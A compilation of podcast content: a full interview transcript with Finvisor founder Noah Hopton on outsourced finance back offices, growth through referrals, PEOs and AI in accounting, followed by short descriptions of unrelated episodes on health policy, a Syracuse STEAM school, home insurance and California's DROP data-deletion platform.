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Noah Hopton, CEO and Founder of Finvisor, helps startups and growing businesses simplify operations by building integrated back-office teams that combine accounting, finance, payroll, HR, insurance, and technology. By combining experienced financial professionals with modern technology, Noah enables businesses to streamline operations, stay compliant, and focus on sustainable growth.  In this conversation, Noah introduces The Adjacent Extension Framework—Earn the Trust, Build the Relationship, Listen for Other Problems, Connect Other Specialists, and Empower the Team with Tech. He explains why proactive service creates lasting client relationships, how solving adjacent business challenges leads to sustainable growth, and why integrated back-office teams outperform disconnected vendors. Noah also shares how AI is reshaping finance operations by automating repetitive work, empowering finance professionals to focus on strategic decision-making, and helping businesses leverage technology to enhance—not replace—human expertise. — How to Outsource Your Back Office with Noah Hopton  Good day, listeners. Steve Preda here with the Management Blueprint Podcast, and my guest today is Noah Hopton, the CEO and Founder of Finvisor, helping seed and Series A companies that have outgrown spreadsheets and part-time bookkeepers but aren’t ready for a full-time finance team yet. Their job is to give you the financial clarity to make good decisions at every stage of growth. Noah, welcome to the show.  Yeah. Pleasure to be here, Steve.  Well, great to have you here, and I’m very curious about your career and your business and what you built here. I’m particularly curious about your personal ‘Why’ and how you manifest it in your business.  Personal ‘Why.’ That’s great. Well, I’ll be honest, I didn’t go in thinking I was going to be an accountant or run an accounting firm. You know, I studied accounting in school. Eventually, I thought I was going to probably be more in a kind of front-of-house sales relationship because I enjoyed the people part—making relationships and meeting people.  But I was very fortunate that I found the consulting, fractional CFO world, where I got to discover a love of problem-solving, creating relationships, and creating value for clients. For me, it was kind of this love of helping clients understand their business, helping clients understand what to think about around the corner, where it's not just being in-house with one set of books that you're closing.Share on X  When you’re at Finvisor, my day-to-day, at least when I started, was probably working with 10 to 12 clients a month and helping them understand, “Okay, how did they perform last month? Can they hire a certain number of people? And what’s the plan going forward?”  Yeah, I mean, that’s super helpful. I started life in accounting as well with KPMG, and what attracted me was to essentially have that language of business so that I would be able to understand how a business works and have this confidence of not flying blind, right? That’s really, really cool. So how did you evolve from a CFO into a founder? What was the trigger point for you?  So I was very fortunate. I actually was at a prior firm at one point when I started my career, and they were a little bit like the cobbler with bad shoes, where eventually they decided they had to close shop, and clients were going to be given notice. I, myself, was given notice saying, “Hey, in a week, you’re not going to have a job, Noah.” And so I was really given this moment in life, saying, “Hey, if I enjoy what I’ve been doing, do I think I could do it better than the firm I’d been at?  And do I want to make this leap into being a founder and starting a business?” And so my co-founder and I both talked to each other and said, “Look, we love our clients. We love what we’ve been trying to build. I think we just need to do a little bit of a refresh and restructuring of how this operates.” And so we started our own company. I was very lucky that I started with about, I had about 30 clients and a team of four on day one, which I think is unusual.  Most people in the accounting space start off as a one-person shop, trying to grow from one to two, and having to double their clients or double their size to get there. We were fortunate to have five team members and 30 clients on day one. Originally, our vision was just, “Hey, let’s help with the fractional CFO and the bookkeeping,” but that really evolved over time as we added additional services and really understood where our clients were having problems in their back office.  What are the areas where maybe the insurance brokers they’d been working with weren’t very hands-on and kind of came in once a year? Our clients were asking us, as their CFO, “Hey, can you help us select our health insurance?” And we’re like, “Well, we’re kind of doing the broker’s job. Why don’t we build out our own team?” So that was one of the first verticals we moved into and added by building an insurance brokerage. From there, we kept building, where now not only do you have your CFO and accountant helping you, but you also have them with the ability to go out to market, help you compare quotes, and help get your insurance in place. So you’re essentially expanding the array of virtual services that you’re providing, or fractional services that you’re providing, to your clients?  Correct. Yeah. We really try to own the full back office end to end because I think a lot of people deal with, “Okay, great, I have a bookkeeper, I have a tax accountant, I have an R&D tax provider,” and they’re dealing with four or five different vendors that don’t really communicate. The client is the person playing telephone between the two, and we’re like, “Wait, stop. Why is this the solution?” We should just build a different business where it’s all under the Finvisor umbrella.  It’s all full-time team members who are actually working together on behalf of the client, even if fractionally. Some of our clients only need five hours of a payroll specialist, but they need someone to own that role, and they need that person to be able to talk to their sales tax team because it’s like, “Oh, we hired someone in a new state. Is sales tax applicable there?” And connect those dots because, when you have these disconnected providers, you have a lot of things that can drop because they’re not in people’s field of view.  Yeah, I mean, it’s a great service. If you can get a competent team that will take care of your back office, then you can focus on figuring out message-market fit and then essentially scaling revenue. You don’t have to worry about it, and you don’t have to babysit inexperienced people that maybe you can afford to hire, but who would not be able to own the job.  Yeah, exactly. I mean, it’s kind of the, “Do you want to…” You know, I think at least when we started in 2014, there was more of a generalist bookkeeper. That’s kind of the typical solution people went with. Nothing against that, but it’s kind of nice to have dedicated specialists in the different back-office areas that you need. I mean, bookkeepers are great.  They’re usually not your best payroll and HR people. They’re not thinking about California final-paycheck laws, or whether you need to offer a 401(k) if you hire someone in California. Whereas, if you have someone whose entire job is payroll and HR, and you need Finvisor to help run your payroll, they’re going to be thinking about those edge cases and helping you along so that you can just build your business, get to the next milestone, and not worry about tripping yourself up because of compliance, taxes, or a lack of visibility in your reporting. Yeah, that’s great peace of mind. So this podcast is about frameworks, and I wonder, what is your framework? How do you help your clients, or how do you figure things out? What have you developed? We’re about 400 frameworks in, so I’m looking for something unique that helps you and is easy to explain—three to five steps maximum.  Yeah. I mean, one of the ones that comes to mind for us is what we’ve really called the Adjacent Extension Framework. So, first, do really good work and earn your client's trust in one area. Makes it easy for them to approach you.Share on X For us, it’s historically been accounting. People think, “Great, get my books put together.” But for us, it’s really about creating a relationship and earning the client’s trust.  Then, as step two, listen for the other problems they’re having. What are the adjacent problems they’re asking you to solve? And then for us, what we’ve really done is double down in those other areas by building specialists in those verticals. Once you’ve earned the client’s trust, if you’re doing their accounting and all of a sudden they’re struggling with invoicing or collections, you can say, “Hey, we can also help you with accounts receivable and collection efforts because we see your AR balance increasing on your financial statements.” At that point, they’re already thinking, “Great, I like working with this person.  Let’s give their team a try and help us solve another problem.” So, for us, it’s really been about finding those adjacent problems, building a team that specializes in them, and then connecting the client with the right expert. The last piece that’s really coming to market now is using technology to empower the team. Historically, a lot of our value came from having experts who could handle the edge cases or the gray areas between payroll, accounting, taxes, and sales tax. Now, with technology, you can also build the data infrastructure to highlight what’s happening for the client while helping guide the team as they manage those clients.  Love it. So what I’m hearing is, number one—or maybe even number zero—is do a great job, right?  The trust.  Okay. So that’s maybe another way of saying it: earn the trust. But is doing a good job enough to earn that trust, or is there more to it?  I mean, I think in any service business, you want to be proactive. A lot of bookkeepers, accountants, and even legal professionals are usually waiting for the client to ask a question before providing an answer. I think the goal should be to think ahead for the client and proactively provide guidance. That came naturally for us because we sit in the fractional CFO seat.Share on X  But even if you’re just doing bookkeeping, you can still catch these things for clients and help them out. Or if you’re selling P&C insurance and helping clients with their general liability coverage, you can think about what other types of coverage they may need. So I’d say the more proactive you can be, the better. The other thing is meeting clients where they already are.  For us, a lot of our clients are on Slack, so we connect with them on Slack. We chat with them as if we were full-time employees because we don’t want the experience to feel different. We don’t want you to feel like you’re emailing a generic support inbox and not knowing when someone is going to get back to you. If you only need fractional-level support, it shouldn’t feel like you’re getting fractional value or a fractional level of communication.  I love it. So you actually own the function inside the organization, so it feels like you’re part of the team, or your people are part of their team. So that builds the trust. So, do a great job, or earn the trust, number one. Number two, build the relationship. Number three, listen to other problems that they might have. Number four, connect them to other specialists. And number five, empower the team with technology.  Yeah. That’s a lot of it. I mean, as an advisor, we’ve grown… I mean, 60% of our growth comes from client referrals. So I think you know you’re doing something right if clients are recommending you to their friends and network. And so hopefully, if someone’s listening to this and you’re not getting referrals, you should be thinking about, “How do we either create more trust for our clients to be referring us, or how do we become more top of mind when clients are having these conversations?”  That’s great. So 60% of your growth comes from referrals. What’s the other 40%? How do you drive growth? What drives growth for you? What’s the other way to drive growth besides referrals?  Yeah. I mean, I think it’s also being connected with the ecosystem that you’re in. In our space, there are a lot of technology partners. Think about Xero, which is an accounting software, QuickBooks Online, NetSuite, payroll software like Rippling, Bill.com. They all have accounting partnerships, and the more you can build with them and grow your team alongside them, clients will reach out to them and say, “Hey, do you have someone who can help us set up Bill.com or help us set up Rippling?  We don’t have a payroll team to do our state tax registrations.” So we’ve seen a lot of good momentum as our software partners start sending us clients to help us grow. I think the other area is trying to figure out where you can have partnerships that will do introductions. We’ve been very fortunate in partnering with a number of VCs. Obviously, the VCs have worked with us because we’re on the board, or we had a mutual client. A lot of them will start to build partnership channels, and it’s a great opportunity.  They’ll say, “We just invested in this company, and you should go talk to Noah’s team to help with your accounting or your fractional CFO.” So it’s really about finding those tangential operators or entities that complement whatever you’re doing.  So are these primarily personal relationships that need to scale, or do you have a way to scale this across other people in your organization—this ability to develop partners? Or is it mainly you?  It depends on the role. A lot of our fractional CFOs on the team continue to build relationships. I would say probably 40% of our new clients come through a channel that’s not through me. There’ll be other people on our team who have built relationships with another VC or another software company. I think one of the key things we’ve always focused on is hiring people who are very, I would say “doers” might be the wrong word, but people who can self-manage and be project managers.  If you find the right people who can take a step back and look at the bigger picture, I mean, sometimes people come to Finvisor and they don’t realize that we ourselves are a business. Yes, you’re doing accounting like you were in-house and getting the books closed, but if you do good work and you realize clients are having problems, you have to think, “Hey, how can I help clients more and also help Finvisor create a win-win?” A lot of times, when we’re hiring, we’re trying to find people who have that type of drive to continue building and helping us internally, and not just do one part of the puzzle they’re responsible for. That might not be the most direct answer, but I would say a lot of it is hiring—making sure it's not just me leading the growth, but me building a team that can help lead the growth outside of just me.Share on X  Yeah. So how do you share the context so that your team members can connect the dots as well as you can? What’s your approach to that?  There’s a couple of ways we’ve done it. One way is we use a note-taker that then feeds into our CRM. For all client communication, whether they meet with us on Zoom or Google Meet, the transcripts are put into a centralized hub for us. It also connects to our CRM in terms of what we’re doing for the clients. At any point in time, someone can ask, “Hey, what’s going on with this client?” They can understand, “Great, this is what the payroll team talked to them about this week.  This is what the CFO team talked to them about last month. These are the problems they’ve been bringing up.” So we can capture that information without it having to be provided orally every single time, and without having to rely on a chat or an email to the team. There are some moments when it’s useful to give the team a larger update, but in general, it’s good to figure out a way to capture the essence of what you’re doing for your clients so that the team can then, in an AI chat-specific way, talk through, “Hey, great, what’s going on with this client? What are their needs? What has changed in the last six months? Who’s working on the client?”  I’ll have a VC that we’re talking to say, “Oh, we’re looking to invest in the CPG space and this type of vertical. Do you have any clients?” We’re at a point now where I don’t know every client. I usually have an idea about most clients, but there are definitely clients where I don’t know everything that’s happened in the last six months because I don’t talk to all 200 clients.  But I can go to our central hub to gain that information and understand, “Okay, great, which client is looking to fundraise and might want to be connected to this VC?” It’s a nice way to connect the dots. They’re looking to invest. The client is looking to raise. We also do brown-bag sessions. We’re a distributed team, so I think you have to be a little more intentional about how you educate the team. We’ll have weekly meetings where we walk through new technology, new changes in what we’re offering, new positioning, and continue educating the team in a more structured format.  The other thing we’ve done to help the team understand what’s going on is to make information as accessible as possible, similar to how we communicate with clients. So the team doesn’t have to log in to a pretty outdated CRM to pull information on a client. It’s either available directly in the Slack conversation or in a more modern tool like Notion, where you can easily search and find the information you want. So basically, you’re managing and harvesting your data and using that to feed people information about how they can develop partnerships. Is that what I’m hearing?  Yeah. And I think a lot of it is also figuring out which playbooks and processes are repeatable, documenting them better, and then educating the team around them. For example, with our fractional CFOs, we want to be in the board meeting. If we can be in the board meeting, A, we can help clients answer questions about their finances more easily, and B, it’s good to have visibility into what the board is saying about the business and where they want to go.  Then, obviously, the VCs are going to say, “Oh, great, this is Ian at Finvisor.” If he reaches out to me about a partnership, they’re going to have a better understanding of what we do because they’ve been in the room with us—or they’ve been in a virtual or in-person boardroom with us.  So you’re basically sharing the playbook so that they have a better understanding of what they can refer you for. Correct. Yeah.  So, switching gears here, Noah, what’s one thing that you’re trying to actively figure out in your business right now?  I mean, the question everyone is trying to figure out, at least in my space, is how they’re going to use AI in some fashion. That’s the kind of million-dollar question everyone keeps talking about—AI in accounting, AI in finance. Right now, we’re really structured in how we’re trying to use it and apply it. But the question I have is, what’s the next year going to look like? What’s five years going to look like as this technology gets more legs and more trust behind it? We’re pretty intentional about what we’re building and how we’re using some of the newer technology with AI. But I think there’s a lot that, at least for me, you have to continue to iterate. The world today feels different than it did three months ago. I’d say for most of Finvisor’s history—and this has been 12 years—it hasn’t felt like that, where a year later things might feel marginally different because we’re maybe 20% bigger or whatever might have happened.  Now, I think there’s a lot more excitement and unknown around technology and how it can either make people more efficient or help highlight and surface better issues that clients need to talk through. But I also feel like we’re in a moment where everyone’s trying to throw AI into every technology. So we're also trying to stay true to who we are, which is people first, relationships first—technology powering us, not being the solution.Share on X  So as you’re scaling AI to improve the information that your people have, your CFOs have, that presumably is going to lead to people doing less of the mechanical, repeatable tasks and more of the judgment tasks. So how do you scale judgment as you’re scaling the impact with AI?  On our side, I think it’s A, trying to organize and structure the data coming in. B, trying to create tooling that isn’t unique to one client but is built in a way that can be customized for each customer. A lot of the firms I talk to that are in the Finvisor space just take a blanket approach—turn Claude on for every fractional CFO, let them connect it to QuickBooks, and try to figure out their own playbooks.  That’s not how we’ve ever run the business. We don’t just hire accountants and let them run the accounting and see how the output turns out. We’re more focused on figuring out what is actually useful for review. Right now, I think AI has been most helpful around quality. It can definitely check that things are consistent and make sure edge cases are being caught.  I think we’re going to get to a future state where it’s not only making sure quality is at the 95th percentile of confidence, but also giving visibility into metrics like CAC, LTV, and churn—things that would normally take longer to pull together. Your fractional CFO might currently spend hours reviewing Stripe data or Shopify data to come to a conclusion. AI can cut out maybe 40% of that data-cleanup layer, where it’s like, “Okay, now they have the tools to dig in and understand what the underlying problem is,” instead of spending so much time cleaning up the data and getting everything organized.  So currently, at least my thesis is that it’s going to allow us to manage more clients because some of the day-to-day—I don’t want to call it busy work—but the work you have to do before you get to the exciting parts of the job will become more automated and less manual, like pulling data out of Stripe, Shopify, your CRM, or NetSuite.  So does that mean you’ll have a different type of people, maybe higher-level thinkers? Or do you think you can elevate your current team to that level?  Yeah. I think you’re… Sorry, I know I was originally answering this through the fractional CFO lens. Most of our fractional CFOs are already at the top of that organizational pyramid. For them, it’s really about helping them have cleaner data, better visibility into the actions they need to take, and better insight into what they should be reviewing and discussing with the client.  If I think more broadly about the back-office finance team, I do think a lot of the more generalist staff accountant and AP specialist roles won’t be spending as much time on the day-to-day blocking and tackling. If a client has 1,000 transactions a month flowing through their bank and credit cards, historically that accountant would sit in QuickBooks Online clicking “Okay, okay, okay,” reviewing every transaction and coding it. Eighty percent of those transactions will simply be coded automatically in real time as they come in. That leaves them to focus on the 20% that actually requires human judgment.  For me, the question is, can we continue to empower those people to be more impactful with that 20%? Are they the right people for that 20%? We’ve always tried to hire people who are proactive and broader thinkers, so I think we have the right team to step into that. If we’d built a traditional BPO model with an outsourced accounting team made up of people who were really just coding transactions at a basic level, I’d be more worried because getting those people to step up and handle edge cases is difficult.  But that’s not how we’ve historically built Finvisor. We’ve always tried to find people who are a little more… I’d rather hire an A-plus player than a B-player just because there’s some savings in the cost structure. I’d rather have the right people who can perform 80% of the time when they’re at bat than just hire someone because they’re cheaper.  Yeah.  Wrong baseball analogy there, but yeah.  Yeah, I understand. So you have A-plus people. Maybe the people who are doing more bookkeeping-type services—their jobs may become automated—but your A-players are going to have best-in-class information, and they can serve more clients that way.  Yeah. I still think that if you think about the typical accounting structure—if you’re working in-house and you have a bookkeeper and a controller—it’s still helpful. Depending on the size of the company, if you’re a small company, you probably won’t need that bookkeeper.  The controller can handle the edge cases and close the books. But at a certain scale, you’ll still want that junior resource supporting the controller so the controller can focus on the higher-level, more strategic work. I think people will simply be able to do more with less if they’re the right person. There will be people who, if they aren’t good at staying on their toes and figuring out edge cases, won’t be the right fit.  AI will probably replace some of those roles. But I think there’s a great opportunity for people who can think more strategically. They don’t have to be a CFO. They can just be a really smart bookkeeper who’s good at handling edge cases. They’ll simply be able to manage three times as many clients as they could when they had to code every single transaction.  Okay. If you had a magic wand and you could fix one thing in your business over the next 12 months, what would it be?  One area that we probably haven’t prioritized enough because of growth is SEO, AEO, and our overall sales build-out. Our paid advertising hasn’t been the strongest part of our business because it hasn’t been the top priority. If I had a magic wand, I’d have someone clean up our SEO and AEO visibility because I know clients love us and we do great work, but I don’t think we’re showing up the way I’d like from an SEO and AEO perspective. So that would be it. Yeah.  Yeah. Yeah. Love it. So, who are your ideal customers? Who do you want knocking on your door? Is it venture-backed companies primarily, or do you also work with private company founders? Who are your sweet-spot customers?  A lot of our clients are going to be in that 5-to-50-employee range, where they don’t need a full-time back office, a full-time accountant, a full-time CFO, or a full-time payroll specialist, but they need someone to own those roles. That way, we can put together the right Finvisor team to support them. We’ve intentionally made ourselves pretty modular, so while the largest group of our clients is in the tech VC world, we also have a lot of SMBs—law firms, beauty businesses, and other professional services businesses.  I would say that, if you looked at the Finvisor client base as a whole, you’d probably see a lot of startups. But we’re also starting to see more SMBs and more traditional businesses that don’t have VC funding but still need help with their accounting, bookkeeping, and modernizing their back office. So it’s a bit of both. Most of our clients are going to be in that 10-to-50- or 100-employee range, where they’re complex enough that they care about their financials and want to understand what they spent last month, where they’re going, and how they’re going to get there.  Earlier-stage companies are sometimes just a little too early. If you’re a one- or two-person company with just an idea, there’s a reason people think about their financials on more of a cash basis. They can think about the five clients they’re working with. Their bank balance ties pretty closely to their financials. There’s not a huge difference between the two when you’re a sole proprietor.  But as you start to evolve, that’s where Finvisor can provide more value. For all of our clients, we do accrual accounting, so we’re recognizing your revenue and your costs over the life of the service. As you start to grow and build, that’s really helpful. Obviously, if you’re at day one, it’s less impactful because you’re living more day to day, week to week, and month to month.  Steve Preda: Okay. So if we have those kinds of companies—which we do among our listeners—and they hear about this and want to fix their back office and outsource it to a reliable partner who can help them own those functions and give them good advice, what’s the best entry point? Where should they go, and how can they connect with you personally as well?  Yeah. hello@finvisor.com comes to me and the sales team. There’s probably a 95% chance you’ll talk to me if you reach out because I still love connecting with most new businesses that come through the door. The other area I wanted to call out that could be helpful for businesses is PEOs. PEOs are great, but I think at some point clients need to graduate from the PEO, and Finvisor is uniquely positioned to be both your insurance broker—helping you quote large-group plans—and your payroll and HR team to help you leave the PEO.  For a lot of our clients, once they pass that 100-employee mark, it’s like, “Great, we now qualify for a large-group plan,” which might have better rates than what they’re getting through the PEO. They just don’t have the team or bandwidth to get off the PEO. We’ll come alongside those larger companies and say, “Great, let’s quote a large-group plan for you. We’ll also put together a transition plan to register you in the 20 states where your employees are currently located.  We’ll make sure you get your workers’ compensation and employment practices liability insurance in place so there’s really no difference—apples to apples—from being in the PEO to running your own payroll.” We help with that transition because I’m always surprised to see companies with hundreds of employees still on a PEO, where the savings could be in the hundreds of thousands of dollars if they left. They just don’t have the internal team because they’ve always been on a PEO. They’ve never had to do state registrations, so they don’t know how to do them. Because of that, they’re usually not looking for an alternative path to get off that structure. We can at least review it with them and help them out if it’s a good fit. And just to remind our listeners what a PEO is, in case they don’t know.  Oh, sorry. Yeah. A PEO is a Professional Employer Organization. If you’ve heard of companies like TriNet or Justworks, they’re PEOs. In the health insurance space, there are four primary ways you can get health insurance. Most companies start with small-group plans in the early days because they’re state-mandated. For example, in California, if you’re under 100 employees, the rates my company gets would be the same rates Steve’s company gets if we’re both under 100 employees and we’re asking Blue Shield for a quote from the same ZIP code. That’s small-group insurance.  Then there’s level-funded, where carriers quote specifically based on your employee group. There’s large-group, which is somewhat similar but designed for larger organizations. Then there’s the PEO. Let’s say you’re a 10-person company. You don’t have enough employees to qualify for large-group health insurance, which is usually discounted because the risk is spread across hundreds of employees. The PEO says, “We’ll employ your team. Instead of you directly employing 10 people and buying health insurance for only those 10 people, we’ll employ your team and give you rates based on the 10,000 employees we already have.” PEOs are really popular in places like California and New York, where health insurance is very expensive.  But once you get above about 100 employees, you can usually qualify for your own large-group rates, which are similar to what the PEO is getting. The difference is that the PEO is generally marking up those rates because they need to make a margin on the plan. You can often get those rates directly yourself.  Yeah. That makes perfect sense. Okay. So if you’re listening to this and you’re building a venture-backed startup, or you’re the founder of a professional services firm, a law firm, or another small business with 10 to 100 employees, and you don’t yet have the budget—or maybe you simply don’t need—a full-time CFO, insurance advisor, HR leader, and other functional specialists, then reach out to Noah and Finvisor.  Check out what they have to offer and see what services might be a good fit for your business. Thanks, Noah, for coming on the show and sharing your expertise. It’s fascinating to see how this field is evolving, how you’re tapping into technology, and how you’re focusing on the highest-quality CFOs to help your clients. If you enjoyed this conversation, stay tuned.  Follow us on YouTube, Apple Podcasts, or wherever you get your podcasts. Make sure you don’t miss an episode. Every week, we bring you exciting entrepreneurs and their best management frameworks. Thanks for coming, Noah, and thanks for listening.  Thanks, Steve. Appreciate it. Important Links: Noah's LinkedIn Noah's  website Noah's email: hello@finvisor.com

Frank Schaeffer welcomes David Blumenthal and James Morone to discuss their book Whiplash: From the Battle for Obamacare to the War on Science.The conversation explores the Affordable Care Act, Operation Warp Speed, the COVID pandemic, political polarization, misinformation, and the role of presidential leadership during national crises.Together they examine why America's health care debates have become arguments about identity, community, science, and democracy itself._____LINKWhiplash: From the Battle for Obamacare to the War on Sciencehttps://www.commonwealthfund.org/person/david-blumenthalhttps://www.commonwealthfund.org/person/james-morone_____I have had the pleasure of talking to some of the leading authors, artists, activists, and change-makers of our time on this podcast, and I want to personally thank you for subscribing, listening, and sharing 100-plus episodes over 100,000 times.Please subscribe to this Podcast, In Conversation… with Frank Schaeffer, on your favorite platform, and to my Substack, It Has to Be Said. Thanks! Every subscription helps create, build, sustain and put voice to this movement for truth. Subscribe to It Has to Be Said. The Gospel of Zip will be released in print and on Amazon Kindle, and as a full video on YouTube and Substack that you can watch or listen to for free.Support the show_____In Conversation… with Frank Schaeffer is a production of the George Bailey Morality in Public Life Fellowship. It is hosted by Frank Schaeffer, author of The Gospel of Zip.Learn more at https://www.thegospelofzip.com/Follow Frank on Substack, Facebook, Twitter, Instagram, Threads, TikTok, and YouTube.https://frankschaeffer.substack.comhttps://www.facebook.com/frank.schaeffer.16https://twitter.com/Frank_Schaefferhttps://www.instagram.com/frank_schaeffer_arthttps://www.threads.net/@frank_schaeffer_arthttps://www.tiktok.com/@frank_schaefferhttps://www.youtube.com/c/FrankSchaefferYouTubeIn Conversation… with Frank Schaeffer Podcast

In this episode, I sit down with Jody Manning, Executive Director and Planning STEAM Principal, to explore how the new Syracuse STEAM High School is revolutionizing education and workforce development in Central New York. Housed in the historic Central Tech building in downtown Syracuse, this landmark regional high school bridges the gap between traditional academics and real-world career preparation. Jody walks us through how the school breaks down ZIP code barriers by partnering the Syracuse City School District (SCSD) with surrounding OCM BOCES component districts, creating an accessible educational hub for students across the region.We dive deep into how the school functions as an "employability incubator" designed around the actual needs of local industry leaders and major tech employers. From cutting edge career pathways in robotics, semiconductor manufacturing technology, and data analytics to entertainment engineering, construction management, and the visual and performing arts, Jody shares how project-based learning and industry mentorships give students a head start. We discuss how students can earn up to 30 transferable college credits, complete real world internships, and graduate with industry-recognized CTE certifications alongside their high school diploma.Whether you're an educator, a parent looking into innovative high school options in CNY, or a community member excited about the region's growing tech and creative economy, this conversation offers an inside look at the future of hands-on learning. To learn more about the school's mission, curriculum pathways, and community partnerships, visit steam.syracusecityschools.com.

Homeowners insurance prices are up a whopping 24% since 2022. One in seven homeowners now has no insurance at all. In some parts of the country, companies aren't just raising rates -- they're refusing to write policies. Bob Litterman co-created the Black-Litterman model that the financial industry still uses to price risk, spent 23 years running risk at Goldman Sachs, and now chairs the Coalition for an Insurable Future. He joins Joe and OG on a special Thursday episode to explain what's actually happening, why it's not going to stop, and what you can do about it right now.What You'll Walk Away WithWhy the insurance market breaks down when probabilities stop being stable -- and how billion-dollar weather events went from three per year in the 1980s to 23 per year todayThe domino chain: how rising insurance costs in one ZIP code can drive down home values, freeze bank lending, shrink local businesses, and quietly hollow out an entire communityWhy this isn't 2008 -- and the one important way it's actually worse than what the mortgage crisis taught usWhy one in seven homeowners now carries no insurance at all -- and what that means for the next major weather eventThe 100-year flood problem: why homes built to withstand a once-in-a-century event are now getting hit every five to ten yearsWhat first-time homebuyers should ask that their realtor almost certainly won't bring up -- and why the insurance question is now as important as the mortgage rateHow to actually read your renewal letter: what to look for beyond the premium, what hidden changes insurance companies are legally required to disclose, and why your deductible may have quietly doubledOG's Claude trick: how he uploaded both his old and new policy documents, asked for the differences, and found actionable savings plus a jewelry rider gap he didn't know he hadWhy Bob says the real mispricing isn't in the insurance market -- it's in the pollution market -- and what that means for how this eventually gets resolvedThe risk management reframe: why thinking about insurance is the wrong starting point, and what to think about insteadWhy This Matters NowThis isn't an inflation blip. The risk is genuinely increasing, the models are being rewritten in real time, and the insurance companies pulling out of markets are the canary in the coal mine. The good news: there are specific things you can do right now -- at your house, with your policy, and in how you think about risk -- that most homeowners haven't done yet.From the BasementBob Litterman joins Joe and OG on a special Thursday episode to walk through the home insurance crisis from the inside -- the pricing models, the domino chain, the reinsurance squeeze, and the difference between a tail event and the slow-moving sea level rise underneath it. OG's takeaway: upload both your old and new policy to Claude and ask it to find the differences before your next renewal. Doug arrives with flood insurance trivia tied directly to the episode content. The Coalition for an Insurable Future, a nonpartisan cross-industry group, made this episode possible. Stacking Benjamins received compensation for this episode.Resources MentionedCoalition for an Insurable Future -- nonpartisan cross-industry group on climate and insurance risk; coalitionforaninsurablefuture.comBlack-Litterman Model -- referenced for Bob Litterman's background in risk pricingClimate Central -- tracks billion-dollar weather events annually; climatecentral.orgNational Flood Insurance Program -- referenced for the 1968 government backstop for flood risk; floodsmart.govSee Privacy Policy at https://art19.com/privacy and California Privacy Notice at https://art19.com/privacy#do-not-sell-my-info.

Listen and subscribe to Money Making Conversations on iHeartRadio, Apple Podcasts, Spotify, www.moneymakingconversations.com/subscribe/ or wherever you listen to podcasts. New Money Making Conversations episodes drop daily. I want to alert you, so you don’t miss out on expert analysis and insider perspectives from my guests who provide tips that can help you uplift the community, improve your financial planning, motivation, or advice on how to be a successful entrepreneur. Keep winning! Money Making Conversations Master Class with Rushion McDonald is America's premier entrepreneurship, business leadership, financial literacy, and wealth-building podcast featuring successful entrepreneurs, executives, founders, celebrities, and industry experts sharing actionable insights for professional and financial success. Business Podcast Entrepreneurship Small Business Business Growth Financial Literacy Wealth Building Black Entrepreneurs Minority Business Leadership Executive Leadership Business Funding Marketing Strategies Personal Development Startup Advice Sales Training CEO Interviews Founder Stories Professional Development Economic Empowerment Business Success Networking Brand Building Innovation How to start a business Small business funding Entrepreneur success stories Business leadership podcast Wealth building strategies Black entrepreneur podcast Minority business development Marketing for small businesses Business growth strategies Startup funding opportunities Executive leadership training Financial literacy education Success mindset podcast Two-time Emmy and Three-time NAACP Image Award-winning, television Executive Producer Rushion McDonald interviewed Dr. Joaquin Wallace.

California's Delete Act (SB 362) introduced DROP (Delete Request and Opt-out Platform), which launched on January 1, 2026. It lets residents submit one deletion request that automatically propagates to all registered data brokers in the state—currently around 500 companies. The Core Problem It SolvesData brokers collect and resell personal information from people they've never directly interacted with. Before DROP, individuals had to manually find each broker, submit separate requests, and hope for compliance with no centralized tracking.How DROP WorksResidency Verification: Users prove they're Californian via the California Identity Gateway or Login.gov (no permanent state account needed). This avoids redundant collection of sensitive data by brokers.Provide Identifiers: Users submit details like name (and former names), date of birth, ZIP code, email, phone, mobile advertising IDs (MAID), connected TV IDs, and VINs. More identifiers improve matching accuracy across brokers.Centralized Submission: One request is sent to all registered brokers.Privacy-Preserving Matching: California does not share raw personal data. Instead, it normalizes and hashes identifiers, creating deletion lists. Brokers hash their own records and compare hashes. Matches trigger deletion without exposing underlying data—similar in concept to lightweight privacy-preserving techniques.Recurring Compliance Cycle: Starting August 1, 2026, brokers must check DROP at least every 45 days (via API or download), process new requests, and honor prior deletions through ongoing suppression.Multi-Identifier Lists: Separate hashed lists exist for different data types; brokers use those relevant to their holdings.Full Deletion: A match requires deleting all associated records for that individual, not just the matching identifier, and preventing future sales.Reporting and Transparency: Brokers report completion status back through DROP, allowing users to track progress from pending to completed.Ongoing Obligation: Deletion is not one-time; brokers must maintain suppression lists indefinitely.Global Reach: Any data broker processing significant volumes of Californians' data (threshold ~100,000 records) must register and comply, regardless of headquarters location.Broker Burden: Requires new infrastructure for hashing pipelines, scheduled polling, cross-identifier matching, suppression, and reporting. The state provides documentation, webinars, and test environments.Enforcement: Third-party audits begin in 2028 and recur every three years. Fines reach $200 per consumer per day for noncompliance.Scope and RequirementsWhy It MattersDROP targets brokers handling highly sensitive data (geolocation, biometrics, SSNs). Beyond faster deletions, it compels the industry to adopt stronger technical privacy and security practices. The architecture is innovative: the state coordinates mass privacy actions across hundreds of companies without ever holding or seeing raw personal data. If successful under real-world load from August 2026 onward, it could become a model for other states and countries—enabling deletion at scale without relying on trust.Closing Insight: The real breakthrough isn't just the deletion feature but the underlying privacy infrastructure that makes coordinated, verifiable, and secure data removal possible.

徳川家康の長女であり、ZIPエリアの歴史上でも重要な人物の1人！

Attorney Boz Tchividjian joins Frank Schaeffer for an honest conversation about abuse inside churches, institutional cover-ups, Christian nationalism, and the work of helping survivors seek justice.As Billy Graham's grandson, Boz understands evangelical culture from the inside. As a lawyer, he has spent years holding institutions accountable when they fail the people they were meant to protect.Together they discuss celebrity pastors, patriarchal theology, clergy abuse, politics, and why accountability remains essential for any community that claims to value truth._____LINKShttps://bozlawpa.comI have had the pleasure of talking to some of the leading authors, artists, activists, and change-makers of our time on this podcast, and I want to personally thank you for subscribing, listening, and sharing 100-plus episodes over 100,000 times.Please subscribe to this Podcast, In Conversation… with Frank Schaeffer, on your favorite platform, and to my Substack, It Has to Be Said. Thanks! Every subscription helps create, build, sustain and put voice to this movement for truth. Subscribe to It Has to Be Said. The Gospel of Zip will be released in print and on Amazon Kindle, and as a full video on YouTube and Substack that you can watch or listen to for free.Support the show_____In Conversation… with Frank Schaeffer is a production of the George Bailey Morality in Public Life Fellowship. It is hosted by Frank Schaeffer, author of The Gospel of Zip.Learn more at https://www.thegospelofzip.com/Follow Frank on Substack, Facebook, Twitter, Instagram, Threads, TikTok, and 